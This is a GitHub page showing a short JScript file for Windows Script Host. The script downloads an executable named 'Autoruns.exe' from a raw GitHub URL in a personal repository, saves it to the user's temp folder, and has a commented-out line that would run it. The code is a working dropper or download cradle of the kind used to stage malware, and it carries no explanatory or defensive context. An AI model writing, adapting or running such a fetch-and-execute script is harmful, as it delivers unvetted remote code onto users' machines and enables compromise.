-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathjscript.js
More file actions
29 lines (24 loc) · 799 Bytes
/
Copy pathjscript.js
File metadata and controls
29 lines (24 loc) · 799 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var Source = "https://github.com/tconqueror/bla/raw/master/Autoruns.exe";
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', Source, false);
Object.Send();
var r = new ActiveXObject("WScript.Shell");
var appdata = r.ExpandEnvironmentStrings("%temp%");
Target = appdata + "\\Autoruns.exe"
// Create the Data Stream
var Stream = WScript.CreateObject('ADODB.Stream');
// Establish the Stream
Stream.Open();
Stream.Type = 1; // adTypeBinary
Stream.Write(Object.ResponseBody);
Stream.Position = 0;
// Create an Empty Target File
var File = WScript.CreateObject('Scripting.FileSystemObject');
if (File.FileExists(Target))
{
File.DeleteFile(Target);
}
// Write the Data Stream to the File
Stream.SaveToFile(Target, 2); // adSaveCreateOverWrite
Stream.Close();
//r.Run(Target);